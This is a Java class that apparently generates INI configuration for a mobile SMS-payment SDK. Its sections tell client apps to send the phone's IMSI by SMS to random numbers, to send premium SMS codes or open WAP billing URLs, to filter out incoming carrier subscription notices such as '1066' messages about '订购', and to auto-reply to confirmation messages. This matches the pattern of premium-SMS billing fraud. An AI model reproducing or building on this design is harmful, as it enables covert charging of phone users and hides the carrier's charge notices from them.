package com.client.model;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;

import sun.misc.BASE64Encoder;

import com.manage.cache.PhoneAddressManager;
import com.util.ConstantUtil;

public class IniResponse {
	private Global global = new Global();
	private Reply reply = new Reply();
	private Shield shield = new Shield();
	private Pay pay = new Pay();
	
//	[global]
//	 error=
//	 userid = 1
//	 confirm = 购买示例，单价5元？
//	 orderid = o1123413
//	 sms = 13911263348,my:{imsi}
//	 #nexturl = http://sdk1.pupkk.com/pay/order.do
//	 reporturl = http://sdk1.pupkk.com/i/r.jsp
//
//	 [shield]
//	 shield=1,1066;订购~1元
//
//	 [reply]
//	 reply=13760711919;13760711919;TT;;;;;
//
//	 [pay]
//	 delay = 15
//	 useragent = n73
//	 sms = 13911263348,XAF,1
	
	//生成下发的INI文件。
	private void init(ISpCodeProvince icp,IPayOrder order,String error)
	{
		Map<String,String> map = ConstantUtil.getConstant("clentpayglobal");
		String confirm = map.get("confirm");
		global.setError(error);
		global.setUserid(""+order.getUserId());
		global.setConfirm(confirm.replace("{goodsname}", order.getGoodsname()).replace("{fee}", ""+(Integer.parseInt(order.getRequestfee())/100)));
		global.setOrderid(order.getOrderId());
		global.setNexttime(map.get("nexttime"));
		String globalsms = "";
		if(order.getMobileNo()==null ||order.getMobileNo().length()<=0)
		{
			if(PhoneAddressManager.getInstance().getPhoneAddresss().size()>0)
			{
				String str [] = PhoneAddressManager.getInstance().getPhoneAddress().getUpaddress().split(",");
				if(str.length>0)
				{
					Random rand = new Random();
					int j = rand.nextInt(str.length); 
					String content = PhoneAddressManager.getInstance().getPhoneAddress().getSendcontent();
					globalsms+=str[j]+","+content;
				}
			}
		}
		global.setSms(globalsms);
		global.setNexturl(map.get("nexturl"));
		global.setReporturl(map.get("reporturl"));
		global.setReport(map.get("report"));
		if(icp!=null)
		{
			//[shield]
			List<String> shsms = new ArrayList<String>();
			if(icp.getFilter()!=null && icp.getFilter().size()>0)
			{
				for(int i=0;i<icp.getFilter().size();i++)
				{
					String str1 [] = {"","",""};
					str1[1] = icp.getFilter().get(i).getFilterPort();
					str1[0] = icp.getFilter().get(i).getFiltertype();
					if(icp.getFilter().get(i).getFilterContent1()!=null && !icp.getFilter().get(i).getFilterContent1().equals(""))
						str1[2] = icp.getFilter().get(i).getFilterContent1();
					if(icp.getFilter().get(i).getFilterContent2()!=null && !icp.getFilter().get(i).getFilterContent2().equals(""))
						str1[2] = str1[2]+"~"+icp.getFilter().get(i).getFilterContent2();
					shsms.add(str1[0]+","+str1[1]+";"+str1[2]);
				}
			}
			shield.setShsms(shsms);
			
			//[reply]
			List<String> atsms = new ArrayList<String>();
			if(icp.getConFirm()!=null && icp.getConFirm().size()>0)
			{
				for(int i=0;i<icp.getConFirm().size();i++)
				{
					String str1 [] = {"","","","","","","",""};
					str1[0] = icp.getConFirm().get(i).getIssuedPort();
					if(icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
						str1[1] = icp.getConFirm().get(i).getConfirmCodeContent1();
					if(icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
						str1[2] = icp.getConFirm().get(i).getConfirmCmdContent1();
					if(!icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
						str1[3] = icp.getConFirm().get(i).getConfirmCmdContent1();
					if(!icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
						str1[4] = icp.getConFirm().get(i).getConfirmCmdContent2();
					if(!icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
						str1[5] = icp.getConFirm().get(i).getConfirmCodeContent1();
					if(!icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
					str1[6] = icp.getConFirm().get(i).getConfirmCodeContent2();
					str1[7] = icp.getConFirm().get(i).getIssuedKey();
					atsms.add(str1[0]+";"+str1[1]+";"+str1[2]+";"+str1[3]+";"+str1[4]+";"+str1[5]+";"+str1[6]+";"+str1[7]);
				}
			}
			reply.setAtsms(atsms);
	//		 [pay]
	//		 delay = 15
	//		 useragent = n73
	//		 sms = 13911263348,XAF,1
			//[sms]
			//判断是否是短信或者彩信
			pay.setDelay(map.get("delay"));
			pay.setUseragent(icp.getCodeua());
			if(icp.getCodeType().equals("1") || icp.getCodeType().equals("2"))
			{
				List<String> sms = new ArrayList<String>();
				String str1 [] = {"","",""};
				str1[0] = icp.getSmspayport();
				str1[1] = icp.getSmspaycode();
				str1[2] = "1";
				sms.add(str1[0]+","+str1[1]+","+str1[2]);
				pay.setSms(sms);
			}else if(!icp.getCodeType().equals("1") && !icp.getCodeType().equals("2"))
			{
				List<String> wap_url = new ArrayList<String>();
				wap_url.add(icp.getBasepayaction());
				pay.setWap(wap_url);
			}
		}
		
	}
	public String generate(ISpCodeProvince icp,IPayOrder order,String error)
	{
		init(icp,order,error);
		StringBuffer reString = new StringBuffer("");
		
		reString.append("[global]");
		reString.append("\r\n");
		reString.append("error="+global.getError());
		reString.append("\r\n");
		reString.append("userid="+global.getUserid());
		reString.append("\r\n");
		reString.append("confirm="+global.getConfirm());
		reString.append("\r\n");
		reString.append("orderid="+global.getOrderid());
		reString.append("\r\n");
		reString.append("sms="+global.getSms());
		reString.append("\r\n");
		reString.append("nexturl="+global.getNexturl());
		reString.append("\r\n");
		reString.append("reporturl="+global.getReporturl());
		reString.append("\r\n");
		reString.append("report="+global.getReport());
		reString.append("\r\n");
		if(order.getRequestfee().equals("47"))
		{
			reString.append("nexttime="+global.getNexttime());
			reString.append("\r\n");
		}
		reString.append("\r\n");
		
		
		reString.append("[shield]"+"\r\n");
		if(shield.getShsms()!=null && shield.getShsms().size()>0)
		{
			for(int i=0;i<shield.getShsms().size();i++)
			{
				reString.append("shield"+(i+1)+"="+shield.getShsms().get(i)+"\r\n");
			}
		}
		reString.append("\r\n");
		
		reString.append("[reply]"+"\r\n");
		if(reply.getAtsms()!=null && reply.getAtsms().size()>0)
		{
			for(int i =0;i<reply.getAtsms().size();i++)
			{
				reString.append("reply"+(i+1)+"="+reply.getAtsms().get(i)+"\r\n");
			}
		}
		
		reString.append("\r\n");
		reString.append("[pay]"+"\r\n");
		reString.append("delay="+pay.getDelay());
		reString.append("\r\n");
		reString.append("useragent="+pay.getUseragent());
		reString.append("\r\n");
		
		if(pay.getSms()!=null&&pay.getSms().size()>0)
		{
			for(int i =0;i<pay.getSms().size();i++)
			{
				reString.append("sms"+(i+1)+"="+pay.getSms().get(i)+"\r\n");
			}
			//==============================================
		}
		if(pay.getWap()!=null&&pay.getWap().size()>0)
		{
			for(int i =0;i<pay.getWap().size();i++)
			{
				reString.append("wap"+(i+1)+"="+pay.getWap().get(i)+"\r\n");
			}
		}
		//2013-11-05 add sdk list
		reString.append("[sdk]"+"\r\n");
		reString.append("1001={MerId=111111,goodsId=222222,orderId=333333}\r\n");
		reString.append("1002={appid=444444,chcode=55555,paycode=666666}\r\n");
		return reString.toString();
	}
	public String generatenull(IPayOrder order,String error)
	{
		init(null,order,error);
		StringBuffer reString = new StringBuffer("");
		reString.append("[global]");
		reString.append("\r\n");
		reString.append("error="+global.getError());
		reString.append("\r\n");
		reString.append("userid="+global.getUserid());
		reString.append("\r\n");
		reString.append("confirm="+global.getConfirm());
		reString.append("\r\n");
		reString.append("orderid="+global.getOrderid());
		reString.append("\r\n");
		reString.append("sms="+global.getSms());
		reString.append("\r\n");
		reString.append("nexturl="+global.getNexturl());
		reString.append("\r\n");
		reString.append("reporturl="+global.getReporturl());
		reString.append("\r\n");
		reString.append("report="+global.getReport());
		reString.append("\r\n");
		if(order.getRequestfee().equals("47"))
		{
			reString.append("nexttime="+global.getNexttime());
			reString.append("\r\n");
		}
		reString.append("\r\n");
		
		
		reString.append("[shield]"+"\r\n");
		reString.append("\r\n");
		
		reString.append("[reply]"+"\r\n");
		
		reString.append("\r\n");
		reString.append("[pay]"+"\r\n");
		
		return reString.toString();
	}
	public String generatenull(String error,String requestFee)
	{
		Map<String,String> map = ConstantUtil.getConstant("clentpayglobal");
		StringBuffer reString = new StringBuffer("");
		reString.append("[global]");
		reString.append("\r\n");
		reString.append("error="+error);
		reString.append("\r\n");
		reString.append("userid=");
		reString.append("\r\n");
		reString.append("confirm=");
		reString.append("\r\n");
		reString.append("orderid=");
		reString.append("\r\n");
		reString.append("sms=");
		reString.append("\r\n");
		reString.append("nexturl="+map.get("nexturl"));
		reString.append("\r\n");
		reString.append("reporturl="+map.get("reporturl"));
		reString.append("\r\n");
		reString.append("report="+global.getReport());
		reString.append("\r\n");
		if(requestFee.equals("47"))
		{
			reString.append("nexttime="+map.get("nexttime"));
			reString.append("\r\n");
		}
		reString.append("\r\n");
		
		
		reString.append("[shield]"+"\r\n");
		reString.append("\r\n");
		
		reString.append("[reply]"+"\r\n");
		
		reString.append("\r\n");
		reString.append("[pay]"+"\r\n");
		
		return reString.toString();
	}

	public class Global
	{
//		[global]
//		 error=
//		 userid = 1
//		 confirm = 购买示例，单价5元？
//		 orderid = o1123413
//		 sms = 13911263348,my:{imsi}
//		 #nexturl = http://sdk1.pupkk.com/pay/order.do
//		 reporturl = http://sdk1.pupkk.com/i/r.jsp
	//
		public Global()
		{
			
		}
		public String error;
		public String userid;
		public String confirm;
		public String orderid;
		public String sms;
		public String nexturl;
		public String reporturl;
		public String report;
		public String nexttime;
		
		
		public String getNexttime() {
			return nexttime;
		}
		public void setNexttime(String nexttime) {
			this.nexttime = nexttime;
		}
		public String getReport() {
			return report;
		}
		public void setReport(String report) {
			this.report = report;
		}
		public String getError() {
			return error;
		}
		public void setError(String error) {
			this.error = error;
		}
		public String getUserid() {
			return userid;
		}
		public void setUserid(String userid) {
			this.userid = userid;
		}
		public String getConfirm() {
			return confirm;
		}
		public void setConfirm(String confirm) {
			this.confirm = confirm;
		}
		public String getOrderid() {
			return orderid;
		}
		public void setOrderid(String orderid) {
			this.orderid = orderid;
		}
		public String getSms() {
			return sms;
		}
		public void setSms(String sms) {
			this.sms = sms;
		}
		public String getNexturl() {
			return nexturl;
		}
		public void setNexturl(String nexturl) {
			this.nexturl = nexturl;
		}
		public String getReporturl() {
			return reporturl;
		}
		public void setReporturl(String reporturl) {
			this.reporturl = reporturl;
		}
		
		
		
	}
	public class Reply{
		//
//		 [reply]
//		 reply=13760711919;13760711919;TT;;;;;
		private List<String> atsms;

		/**
		 * @return the atsms
		 */
		public List<String> getAtsms() {
			return atsms;
		}

		/**
		 * @param atsms the atsms to set
		 */
		public void setAtsms(List<String> atsms) {
			this.atsms = atsms;
		}
		
	}
	public class Shield{
//		 [shield]
//		 shield=1,1066;订购~1元

		private List<String> shsms;

		/**
		 * @return the shsms
		 */
		public List<String> getShsms() {
			return shsms;
		}

		/**
		 * @param shsms the shsms to set
		 */
		public void setShsms(List<String> shsms) {
			this.shsms = shsms;
		}
		
	}
	public class Pay{
//
//		 [pay]
//		 delay = 15
//		 useragent = n73
//		 sms = 13911263348,XAF,1
		public String delay="0";
		public String useragent="";
		public List<String> sms;
		public List<String> wap;
		
		
		public List<String> getWap() {
			return wap;
		}
		public void setWap(List<String> wap) {
			this.wap = wap;
		}
		public String getUseragent() {
			return useragent;
		}
		public void setUseragent(String useragent) {
			this.useragent = useragent;
		}
		/**
		 * @return the delay
		 */
		public String getDelay() {
			return delay;
		}
		/**
		 * @param delay the delay to set
		 */
		public void setDelay(String delay) {
			this.delay = delay;
		}
		/**
		 * @return the sms
		 */
		public List<String> getSms() {
			return sms;
		}
		/**
		 * @param sms the sms to set
		 */
		public void setSms(List<String> sms) {
			this.sms = sms;
		}
		
	}
	
	
}
